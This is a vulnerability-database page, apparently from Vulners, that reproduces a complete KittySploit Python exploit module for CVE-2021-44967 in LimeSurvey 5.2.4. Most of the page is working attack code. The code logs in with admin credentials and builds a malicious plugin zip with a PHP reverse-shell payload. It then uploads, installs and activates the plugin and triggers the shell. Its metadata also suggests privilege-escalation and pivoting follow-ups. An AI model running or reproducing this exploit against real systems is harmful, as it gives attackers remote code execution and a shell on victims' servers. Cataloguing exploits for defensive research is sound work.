Lucene search
+L

LimeSurvey 5.2.4 - Authenticated Remote Code Execution (RCE)

🗓️ 28 Jan 2026 23:28:08Reported by KittySploitType 
kittysploit
 kittysploit
🔗 kittysploit.com👁 1 Views

Authenticated RCE in LimeSurvey via malicious plugin upload.

Related
Refs
Code
ReporterTitlePublishedViews
Family
githubexploit
GithubExploit
Exploit for Unrestricted Upload of File with Dangerous Type in Limesurvey
5 Jan 202513:12
–githubexploit
circl
Circl
CVE-2021-44967
5 Jan 202523:48
–circl
cnnvd
CNNVD
LimeSurvey 代码问题漏洞
24 Feb 202200:00
–cnnvd
cve
CVE
CVE-2021-44967
22 Feb 202221:17
–cve
cvelist
Cvelist
CVE-2021-44967
22 Feb 202221:17
–cvelist
kitploit
Kitploit
CVE-2021-44967
12 Oct 202615:40
–kitploit
kitploit
Kitploit
CVE-2021-44967
11 Oct 202608:05
–kitploit
kitploit
Kitploit
-Limesurvey-RCE-CVE-2021-44967
14 Oct 202614:39
–kitploit
kitploit
Kitploit
CVE-2021-44967
13 Oct 202601:56
–kitploit
nvd
NVD
CVE-2021-44967
24 Feb 202215:15
–nvd
Rows per page
#!/usr/bin/env python3
# -*- coding: utf-8 -*-

from kittysploit import *
from lib.protocols.http.http_client import Http_client
from bs4 import BeautifulSoup
import zipfile
import tempfile
import os
import warnings
from io import BytesIO

warnings.filterwarnings("ignore", category=UserWarning, module='bs4')


class Module(Exploit, Http_client):

    __info__ = {
        "name": "LimeSurvey 5.2.4 - Authenticated Remote Code Execution (RCE)",
        "description": "CVE-2021-44967 - LimeSurvey Authenticated RCE via malicious plugin upload",
        "author": ["D3Ext",  "KittySploit Team"],
        "cve": ["CVE-2021-44967"],
        "arch": [Arch.PHP],
        "platform": Platform.MULTI,
        "category": "singles",
        "payload": {
            "default": "payloads/singles/cmd/php/reverse_tcp",
            "arch": Arch.PHP,
            "platform": Platform.PHP,
            "category": "singles",
        },
    'agent': {
        'risk': 'intrusive',
        'effects': ['active_exploitation'],
        'expected_requests': 2,
        'reversible': False,
        'approval_required': True,
        'produces': ['exploit_paths', 'risk_signals'],
        'cost': 1.5,
        'noise': 0.5,
        'value': 1.0,
        'requires':         {'min_endpoints': 0,
         'min_params': 0,
         'tech_hints_any': [],
         'tech_hints_all': [],
         'specializations_any': [],
         'risk_signals_any': [],
         'auth_session': False,
         'capabilities_any': [],
         'capabilities_all': [],
         'confidence_min': {},
         'confidence_min_any': {},
         'endpoint_pattern_any': [],
         'param_any': [],
         'api_surface_ready': False},
        'chain':         {'produces_capabilities': [{'capability': 'rce', 'from_detail': ''},
                                   {'capability': 'shell', 'from_detail': ''}],
         'consumes_capabilities': [],
         'option_bindings': {},
         'suggested_followups': ['post/shell/multi/gather/privesc_suggester',
                                 'post/shell/multi/manage/pivot_autoroute']},
    },
    }

    username = OptString("", "Username to log in", required=True)
    password = OptString("", "Password of the username", required=True)

    def get_csrf_token(self, url_path):
        """
        Extract CSRF token from a page
        """
        try:
            response = self.http_request(method="GET", path=url_path, session=True)
            if not response:
                return None
            
            soup = BeautifulSoup(response.text, 'html.parser')
            csrf_input = soup.find('input', {'name': 'YII_CSRF_TOKEN'})
            if csrf_input:
                return csrf_input.get('value')
            
            # Fallback: try to get first input value
            inputs = soup.findAll('input')
            if inputs:
                return inputs[0].get("value")
            
            return None
        except Exception as e:
            print_error(f"Failed to extract CSRF token: {e}")
            return None

    def check(self):
        """
        Check if target is LimeSurvey
        """
        try:
            response = self.http_request(method="GET", path="/index.php/admin/authentication/sa/login")
            if response:
                content = response.text.lower()
                if 'limesurvey' in content or 'lime survey' in content:
                    return {
                        'vulnerable': True,
                        'reason': 'LimeSurvey detected',
                        'confidence': 'medium'
                    }
            return {
                'vulnerable': False,
                'reason': 'LimeSurvey not detected',
                'confidence': 'low'
            }
        except Exception as e:
            return {
                'vulnerable': False,
                'reason': f'Check failed: {str(e)}',
                'confidence': 'low'
            }

    def run(self):
        """
        Execute the exploit
        """
        try:
            print_status("CVE-2021-44967 - LimeSurvey Authenticated RCE")
            print_status(f"Target: {self.target}:{self.port}")
            
            # Step 1: Create malicious zip file
            print_status("Creating malicious zip file...")
            random_name = self.random_text(10)
            print_info(f"Plugin name: {random_name}")
            
            # Create temporary directory for files
            temp_dir = tempfile.mkdtemp()
            php_file_path = os.path.join(temp_dir, "php-rev.php")
            config_file_path = os.path.join(temp_dir, "config.xml")
            zip_file_path = os.path.join(temp_dir, f"{random_name}.zip")
            
            try:
                # Create PHP reverse shell file using framework payload
                php_content = f"<?php\n{self.payload}\n?>"
                
                with open(php_file_path, 'w') as f:
                    f.write(php_content)
                
                # Create plugin XML config file
                config_content = f"""<?xml version="1.0" encoding="UTF-8"?>
<config>
    <metadata>
        <name>{random_name}</name>
        <type>plugin</type>
        <creationDate>2020-03-20</creationDate>
        <lastUpdate>2020-03-31</lastUpdate>
        <author>D3Ext</author>
        <authorUrl>https://github.com/D3Ext</authorUrl>
        <supportUrl>https://github.com/D3Ext</supportUrl>
        <version>5.0</version>
        <license>GNU General Public License version 2 or later</license>
        <description>
		<![CDATA[Author : D3Ext]]></description>
    </metadata>

    <compatibility>
        <version>3.0</version>
        <version>4.0</version>
        <version>5.0</version>
        <version>6.0</version>
    </compatibility>
    <updaters disabled="disabled"></updaters>
</config>
"""
                
                with open(config_file_path, 'w') as f:
                    f.write(config_content)
                
                # Create zip file
                with zipfile.ZipFile(zip_file_path, 'w') as zipf:
                    zipf.write(config_file_path, arcname=os.path.basename(config_file_path))
                    zipf.write(php_file_path, arcname=os.path.basename(php_file_path))
                
                print_success("Malicious zip file created")
                
                # Step 2: Login
                print_status("Sending login request...")
                csrf_token = self.get_csrf_token("/index.php/admin/authentication/sa/login")
                
                if not csrf_token:
                    print_error("Failed to retrieve CSRF token for login")
                    return False
                
                login_data = {
                    "user": self.username,
                    "password": self.password,
                    "authMethod": "Authdb",
                    "loginlang": "default",
                    "action": "login",
                    "width": "1581",
                    "login_submit": "login",
                    "YII_CSRF_TOKEN": csrf_token
                }
                
                login_response = self.http_request(
                    method="POST",
                    path="/index.php/admin/authentication/sa/login",
                    data=login_data,
                    session=True
                )
                
                if not login_response:
                    print_error("Login request failed")
                    return False
                
                # Check if login was successful
                if 'login' in login_response.url.lower() and 'authentication' in login_response.url.lower():
                    print_error("Login failed - invalid credentials")
                    return False
                
                print_success(f"Successfully logged in as {self.username}")
                
                # Step 3: Upload malicious plugin
                print_status("Uploading malicious plugin...")
                csrf_token2 = self.get_csrf_token("/index.php/admin/pluginmanager/sa/index")
                
                if not csrf_token2:
                    print_error("Failed to retrieve CSRF token for upload")
                    return False
                
                upload_data = {
                    "YII_CSRF_TOKEN": csrf_token2,
                    "lid": "$lid",
                    "action": "templateupload"
                }
                
                # Read file content and prepare for upload
                with open(zip_file_path, 'rb') as f:
                    file_content = f.read()
                
                # Use BytesIO for binary file upload
                files = {'the_file': (f"{random_name}.zip", BytesIO(file_content), 'application/zip')}
                upload_response = self.http_request(
                    method="POST",
                    path="/index.php/admin/pluginmanager?sa=upload",
                    data=upload_data,
                    files=files,
                    session=True
                )
                
                if not upload_response:
                    print_error("Upload request failed")
                    return False
                
                print_success("Malicious plugin uploaded successfully")
                
                # Step 4: Install uploaded plugin
                print_status("Installing uploaded plugin...")
                csrf_token3 = self.get_csrf_token("/index.php/admin/pluginmanager?sa=installUploadedPlugin")
                
                if not csrf_token3:
                    print_error("Failed to retrieve CSRF token for installation")
                    return False
                
                install_data = {
                    "YII_CSRF_TOKEN": csrf_token3,
                    "isUpdate": "false"
                }
                
                install_response = self.http_request(
                    method="POST",
                    path="/index.php/admin/pluginmanager?sa=installUploadedPlugin",
                    data=install_data,
                    session=True
                )
                
                if not install_response:
                    print_error("Installation request failed")
                    return False
                
                print_success("Plugin installed successfully")
                
                # Step 5: Activate malicious plugin
                print_status("Activating malicious plugin...")
                csrf_token4 = self.get_csrf_token("/index.php/admin/pluginmanager?sa=activate")
                
                if not csrf_token4:
                    print_error("Failed to retrieve CSRF token for activation")
                    return False
                
                activate_data = {
                    "YII_CSRF_TOKEN": csrf_token4,
                    "pluginId": "1"
                }
                
                activate_response = self.http_request(
                    method="POST",
                    path="/index.php/admin/pluginmanager?sa=activate",
                    data=activate_data,
                    session=True
                )
                
                if not activate_response:
                    print_error("Activation request failed")
                    return False
                
                print_success("Malicious plugin activated successfully")
                
                # Step 6: Trigger the reverse shell
                print_status(f"Triggering plugin by sending request to /upload/plugins/{random_name}/php-rev.php")
                print_success("Check your listener!")
                
                trigger_response = self.http_request(
                    method="GET",
                    path=f"/upload/plugins/{random_name}/php-rev.php",
                    session=True,
                    timeout=5
                )
                
                # Clean up temporary files
                try:
                    os.remove(php_file_path)
                    os.remove(config_file_path)
                    os.remove(zip_file_path)
                    os.rmdir(temp_dir)
                except:
                    pass
                
                return True
                
            except Exception as e:
                print_error(f"Error during exploit execution: {e}")
                # Clean up on error
                try:
                    if os.path.exists(php_file_path):
                        os.remove(php_file_path)
                    if os.path.exists(config_file_path):
                        os.remove(config_file_path)
                    if os.path.exists(zip_file_path):
                        os.remove(zip_file_path)
                    if os.path.exists(temp_dir):
                        os.rmdir(temp_dir)
                except:
                    pass
                return False
                
        except Exception as e:
            print_error(f"Exploitation failed: {e}")
            return False

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

10 Jul 2026 11:31Current
8High risk
Vulners AI Score8
CVSS 3.18.8
CVSS 29
EPSS0.13502
1